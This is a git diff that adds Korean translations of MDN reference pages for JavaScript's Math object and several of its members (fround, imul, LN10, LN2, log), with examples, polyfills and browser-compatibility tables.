+ <dd>숫자.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>fround()</code> 가 <code>Math</code> 객체의 정적 메소드이기 때문에, 반드시 <code>Math.fround()</code> 같은 형태로 사용해야 합니다. <code>Math</code> 객체를 직접 만들어서 호출하는 방식으로 사용하지 않습니다 (<code>Math</code> 는 생성자가 아닙니다).</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.fround()_사용법"><code>Math.fround() 사용법</code></h3>
+
+<pre class="brush: js">Math.fround(0);     // 0
+Math.fround(1);     // 1
+Math.fround(1.337); // 1.3370000123977661
+Math.fround(1.5);   // 1.5
+Math.fround(NaN);   // NaN
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>만약 {{jsxref("Float32Array")}} 가 지원된다면, Math.fround() 를 다음 함수로 흉내낼 수 있습니다.</p>
+
+<pre class="brush: js">Math.fround = Math.fround || (function (array) {
+  return function(x) {
+    return array[0] = x, array[0];
+  };
+})(Float32Array(1));
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.fround', 'Math.fround')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.fround', 'Math.fround')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("26")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Math.round()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/imul/index.html b/files/ko/web/javascript/reference/global_objects/math/imul/index.html
new file mode 100644
index 0000000000..e5f7a919ab
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/imul/index.html
@@ -0,0 +1,130 @@
+---
+title: Math.imul()
+slug: Web/JavaScript/Reference/Global_Objects/Math/imul
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/imul
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.imul()</code></strong> 함수는 C 언어와 같은 양식으로 2개 파라메터의 32-bit 곱셈 결과를 리턴합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Math.imul(<var>a</var>, <var>b</var>)</code></pre>
+
+<h3 id="파라메터">파라메터</h3>
+
+<dl>
+ <dt><code>a</code></dt>
+ <dd>첫 번째 숫자.</dd>
+ <dt><code>b</code></dt>
+ <dd>두 번째 숫자.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Math.imul()</code> 를 쓰면 C 언어와 같은 양식의 빠른 32-bit 정수 곱셈이 가능합니다. 이 기능은 <a href="http://en.wikipedia.org/wiki/Emscripten">Emscripten</a> 같은 프로젝트에 유용합니다. <code>imul()</code> 이 <code>Math </code> 객체의 정적 메소드이기 때문에, <code>Math 객체를 직접 만들어서 사용하지 않고 (Math 는 생성자가 아닙니다), Math.imul()</code> 같은 형태로 사용합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.imul()_사용법"><code>Math.imul() 사용법</code></h3>
+
+<pre class="brush: js">Math.imul(2, 4);          // 8
+Math.imul(-1, 8);         // -8
+Math.imul(-2, -2);        // 4
+Math.imul(0xffffffff, 5); // -5
+Math.imul(0xfffffffe, 5); // -10
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>다음과 같은 함수로 Math.imul() 을 흉내낼 수 있습니다.</p>
+
+<pre class="brush: js">Math.imul = Math.imul || function(a, b) {
+  var ah = (a &gt;&gt;&gt; 16) &amp; 0xffff;
+  var al = a &amp; 0xffff;
+  var bh = (b &gt;&gt;&gt; 16) &amp; 0xffff;
+  var bl = b &amp; 0xffff;
+  // the shift by 0 fixes the sign on the high part
+  // the final |0 converts the unsigned value into a signed value
+  return ((al * bl) + (((ah * bl + al * bh) &lt;&lt; 16) &gt;&gt;&gt; 0)|0);
+};
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.imul', 'Math.imul')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.imul', 'Math.imul')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("28")}}</td>
+   <td>{{CompatGeckoDesktop("20")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera("16")}}</td>
+   <td>{{CompatSafari("7")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("20")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>7</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/javascript/reference/global_objects/math/index.html b/files/ko/web/javascript/reference/global_objects/math/index.html
new file mode 100644
index 0000000000..3ce1a0638c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/index.html
@@ -0,0 +1,155 @@
+---
+title: Math
+slug: Web/JavaScript/Reference/Global_Objects/Math
+tags:
+  - JavaScript
+  - Math
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Math</code></strong>는 수학적인 상수와 함수를 위한 속성과 메서드를 가진 내장 객체입니다.</span> 함수 객체가 아닙니다.</p>
+
+<p><code>Math</code>는 {{jsxref("Number")}} 자료형만 지원하며 {{jsxref("BigInt")}}와는 사용할 수 없습니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>다른 전역 객체와 달리 <code>Math</code>는 생성자가 아닙니다. <code>Math</code>의 모든 속성과 메서드는 정적입니다. 파이 상수는 <code>Math.PI</code>로 참조할 수 있고, 사인 함수는 매개변수 <code>x</code>에 대해 <code>Math.sin(x)</code>와 같이 호출할 수 있습니다. 상수는 JavaScript에서 가능한 최대 실수 정밀도로 정의되어 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("Math.E")}}</dt>
+ <dd>
+ <p>오일러의 상수이며 자연로그의 밑. 약 <code>2.718</code>.</p>
+ </dd>
+ <dt>{{jsxref("Math.LN2")}}</dt>
+ <dd>
+ <p><code>2</code>의 자연로그. 약 <code>0.693</code>.</p>
+ </dd>
+ <dt>{{jsxref("Math.LN10")}}</dt>
+ <dd><code>10</code>의 자연로그. 약 <code>2.303</code>.</dd>
+ <dt>{{jsxref("Math.LOG2E")}}</dt>
+ <dd>밑이 <code>2</code>인 로그 E. 약 <code>1.443</code>.</dd>
+ <dt>{{jsxref("Math.LOG10E")}}</dt>
+ <dd>밑이 <code>10</code>인 로그 E. 약 <code>0.434</code>.</dd>
+ <dt>{{jsxref("Math.PI")}}</dt>
+ <dd>원의 둘레와 지름의 비율. 약 <code>3.14159</code>.</dd>
+ <dt>{{jsxref("Math.SQRT1_2")}}</dt>
+ <dd>½의 제곱근. 약 <code>0.707</code>.</dd>
+ <dt>{{jsxref("Math.SQRT2")}}</dt>
+ <dd><code>2</code>의 제곱근. 약 <code>1.414</code>.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<div class="note">
+<p><strong>참고:</strong> 삼각 함수(<code>sin()</code>, <code>cos()</code>, <code>tan()</code>, <code>asin()</code>, <code>acos()</code>, <code>atan()</code>, <code>atan2()</code>)는 매개변수와 반환값 모두 호도법(라디안)을 사용합니다.</p>
+
+<p>라디안 값을 각도 값으로 변환하려면 <code>(Math.PI / 180)</code>으로 나누세요. 반대로 각도 값에 곱하면 라디안 값이 됩니다.</p>
+</div>
+
+<div class="note">
+<p><strong>참고:</strong> 많은 수의 <code>Math</code> 함수 정확도는 구현에 따라 다를 수 있습니다. 즉, 각 브라우저의 결과가 다를 수 있으며, 서로 같은 JS 엔진이라도 운영체제나 아키텍쳐에 따라서 불일치하는 값을 반환할 수 있습니다.</p>
+</div>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Math/abs", "Math.abs(x)")}}</dt>
+ <dd>숫자의 절댓값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/acos", "Math.acos(x)")}}</dt>
+ <dd>숫자의 아크코사인 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/acosh", "Math.acosh(x)")}} </dt>
+ <dd>숫자의 쌍곡아크코사인 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/asin", "Math.asin(x)")}}</dt>
+ <dd>숫자의 아크사인 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/asinh", "Math.asinh(x)")}} </dt>
+ <dd>숫자의 쌍곡아크사인 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atan", "Math.atan(x)")}}</dt>
+ <dd>숫자의 아크탄젠트 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atanh", "Math.atanh(x)")}} </dt>
+ <dd>숫자의 쌍곡아크탄젠트 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atan2", "Math.atan2(y, x)")}}</dt>
+ <dd>인수 몫의 아크탄젠트 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cbrt", "Math.cbrt(x)")}} </dt>
+ <dd>숫자의 세제곱근을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/ceil", "Math.ceil(x)")}}</dt>
+ <dd>인수보다 크거나 같은 수 중에서 가장 작은 정수를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/clz32", "Math.clz32(x)")}} </dt>
+ <dd>주어진 32비트 정수의 선행 0 개수를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cos", "Math.cos(x)")}}</dt>
+ <dd>숫자의 코사인 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cosh", "Math.cosh(x)")}} </dt>
+ <dd>숫자의 쌍곡코사인 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/exp", "Math.exp(x)")}}</dt>
+ <dd>E<sup>x</sup> 를 반환합니다. <var>x</var>는 인수이며 E 는 오일러 상수(<code>2.718</code>...) 또는 자연로그의 밑입니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/expm1", "Math.expm1(x)")}} </dt>
+ <dd><code>exp(x)</code>에서 <code>1</code>을 뺀 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/floor", "Math.floor(x)")}}</dt>
+ <dd>인수보다 작거나 같은 수 중에서 가장 큰 정수를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/fround", "Math.fround(x)")}} </dt>
+ <dd>인수의 가장 가까운 단일 정밀도 표현을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/hypot", "Math.hypot([x[, y[, …]]])")}} </dt>
+ <dd>인수의 제곱합의 제곱근을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/imul", "Math.imul(x, y)")}} </dt>
+ <dd>두 32비트 정수의 곱을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log", "Math.log(x)")}}</dt>
+ <dd>숫자의 자연로그(log<sub>e</sub> 또는 ln) 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log1p", "Math.log1p(x)")}} </dt>
+ <dd>숫자 <code>x</code>에 대해 <code>1 + x</code>의 자연로그(log<sub>e</sub> 또는 ln) 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log10", "Math.log10(x)")}} </dt>
+ <dd>숫자의 밑이 10인 로그를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log2", "Math.log2(x)")}} </dt>
+ <dd>숫자의 밑이 2인 로그를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/max", "Math.max([x[, y[, …]]])")}}</dt>
+ <dd>0개 이상의 인수에서 제일 큰 수를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/min", "Math.min([x[, y[, …]]])")}}</dt>
+ <dd>0개 이상의 인수에서 제일 작은 수를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/pow", "Math.pow(x, y)")}}</dt>
+ <dd>x의 y 제곱을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/random", "Math.random()")}}</dt>
+ <dd>0과 1 사이의 난수를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/round", "Math.round(x)")}}</dt>
+ <dd>숫자에서 가장 가까운 정수를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sign", "Math.sign(x)")}} </dt>
+ <dd>x의 양의 수인지 음의 수인지 나타내는 부호를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sin", "Math.sin(x)")}}</dt>
+ <dd>숫자의 사인 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sinh", "Math.sinh(x)")}} </dt>
+ <dd>숫자의 쌍곡사인 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sqrt", "Math.sqrt(x)")}}</dt>
+ <dd>숫자의 제곱근을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/tan", "Math.tan(x)")}}</dt>
+ <dd>숫자의 탄젠트 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/tanh", "Math.tanh(x)")}} </dt>
+ <dd>숫자의 쌍곡탄젠트 값을 반환합니다.</dd>
+ <dt><code>Math.toSource()</code> {{non-standard_inline}}</dt>
+ <dd>문자열 <code>"Math"</code>를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/trunc", "Math.trunc(x)")}} </dt>
+ <dd>숫자의 정수 부분을 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math-object', 'Math')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/ln10/index.html b/files/ko/web/javascript/reference/global_objects/math/ln10/index.html
new file mode 100644
index 0000000000..57ab837e50
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/ln10/index.html
@@ -0,0 +1,84 @@
+---
+title: Math.LN10
+slug: Web/JavaScript/Reference/Global_Objects/Math/LN10
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN10
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.LN10</code></strong> 속성은 10의 자연로그 값, 약 2.302의 값을 가집니다.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LN10</mi></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mn>10</mn><mo stretchy="false">)</mo><mo>≈</mo><mn>2.302</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LN10}} = \ln(10) \approx 2.302</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-ln10.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>LN10</code>은 <code>Math</code>의 정적 속성이므로, 사용자가 생성한 <code>Math</code> 객체의 속성으로 접근할 수 없고 항상 <code>Math.LN10</code>을 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.LN10_사용하기"><code>Math.LN10</code> 사용하기</h3>
+
+<p>다음 함수는 10의 자연 로그 값을 반환합니다.</p>
+
+<pre class="brush:js">function getNatLog10() {
+  return Math.LN10;
+}
+
+getNatLog10(); // 2.302585092994046
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.2', 'Math.LN10')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.ln10', 'Math.LN10')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.ln10', 'Math.LN10')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.LN10")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/ln2/index.html b/files/ko/web/javascript/reference/global_objects/math/ln2/index.html
new file mode 100644
index 0000000000..202558fd59
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/ln2/index.html
@@ -0,0 +1,86 @@
+---
+title: Math.LN2
+slug: Web/JavaScript/Reference/Global_Objects/Math/LN2
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN2
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>Math.LN2</code></strong> property represents the natural logarithm of 2, approximately 0.693:</p>
+
+<p><strong><code>Math.LN2</code></strong> 속성은 2의 자연로그 값, 약 0.693의 값을 가집니다.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LN2</mi></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mn>2</mn><mo stretchy="false">)</mo><mo>≈</mo><mn>0.693</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LN2}} = \ln(2) \approx 0.693</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-ln2.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>LN2</code>는 <code>Math</code>의 정적 속성이므로, 사용자가 생성한 <code>Math</code> 객체의 속성으로 접근할 수 없고 항상 <code>Math.LN2</code>를 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Math.LN2_사용하기"><code>Math.LN2</code> 사용하기</h3>
+
+<p>다음 함수는 2의 자연 로그 값을 반환합니다.</p>
+
+<pre class="brush:js">function getNatLog2() {
+  return Math.LN2;
+}
+
+getNatLog2(); // 0.6931471805599453
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.3', 'Math.LN2')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.ln2', 'Math.LN2')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.ln2', 'Math.LN2')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.LN2")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/log/index.html b/files/ko/web/javascript/reference/global_objects/math/log/index.html
new file mode 100644
index 0000000000..a343fa27a6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/log/index.html
@@ -0,0 +1,104 @@
+---
+title: Math.log()
+slug: Web/JavaScript/Reference/Global_Objects/Math/log
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/log
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.log()</code></strong> 함수는 자연 로가리즘은 ({{jsxref("Math.E", "e")}} 를 기초) 의 수를 계산합니다, 이건 다음의</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>&gt;</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mi>e</mi><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x &gt; 0, \mathtt{\operatorname{Math.log}(x)} = \ln(x) = \text{고유값} \; y \; \text{같이} \; e^y = x</annotation></semantics></math></p>
+
+<p>자바스크립트 <strong><code>Math.log()</code> </strong>함수는 <em>ln(x)</em> 수학적으로 같습니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Math.log(<var>x</var>)</code></pre>
+
+<h3 id="인자">인자</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>실수값.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>자연 로가리즘은 ({{jsxref("Math.E", "e")}} 를 기초) 실수값으로 줍니다. 마이너스 실수값, {{jsxref("NaN")}} 계산됩니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>만일 값 <code>x</code> 가 마이너스라면, 항상 다음값이 계산됩니다 {{jsxref("NaN")}}.</p>
+
+<p><code>왜그렇냐면 </code> <code>Math의 log() 가 정적 메서드이기 때문</code>,에 매번 다음처럼 <code>Math.log() 써야합니다</code> (생성자로 초기화된 <code>Math</code> 개체가 아니기 때문입니다).</p>
+
+<p>자연로그 2 나 10, 상수로쓸때 {{jsxref("Math.LN2")}} or {{jsxref("Math.LN10")}} . 로가리즘 기초값 2 나 10, 쓸때는 {{jsxref("Math.log2()")}} 혹은 {{jsxref("Math.log10()")}} . 로가리즘 다른 기초값은 Math.log(x) / Math.log(기초값) 처럼 예제참고; 미리계산하여 1 / Math.log(기초값) 할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.log()_사용"><code>Math.log() 사용</code></h3>
+
+<pre class="brush: js">Math.log(-1); // NaN, 정의범위 초과
+Math.log(0);  // -Infinity, 무한
+Math.log(1);  // 0
+Math.log(10); // 2.302585092994046
+</pre>
+
+<h3 id="Math.log()_다른_기초값_사용"><code>Math.log()</code> 다른 기초값 사용</h3>
+
+<p>이 함수는 로가리즘 <code>y 에 대한것으로</code> 기초값 <code>x</code> (ie. <math><semantics><mrow><msub><mo>log</mo><mi>x</mi></msub><mi>y</mi></mrow><annotation encoding="TeX">\log_x y</annotation></semantics></math>): 입니다</p>
+
+<pre class="brush: js">function getBaseLog(x, y) {
+  return Math.log(y) / Math.log(x);
+}
+</pre>
+
+<p>다음을 실행하면 <code>getBaseLog(10, 1000)</code> 다음 <code>2.9999999999999996 계산되는데</code> 적당히 반올림하니다, 거의 3 에 가깝습니다.</p>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.10', 'Math.log')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.log', 'Math.log')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.log', 'Math.log')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.log")}}</p>
+
+<h2 id="같이보기">같이보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/log10e/index.html b/files/ko/web/javascript/reference/global_objects/math/log10e/index.html
new file mode 100644
index 0000000000..bb864c8aa3
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/log10e/index.html
@@ -0,0 +1,84 @@
+---
+title: Math.LOG10E
+slug: Web/JavaScript/Reference/Global_Objects/Math/LOG10E
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG10E
+---
+<div>{{JSRef}}</div>
+
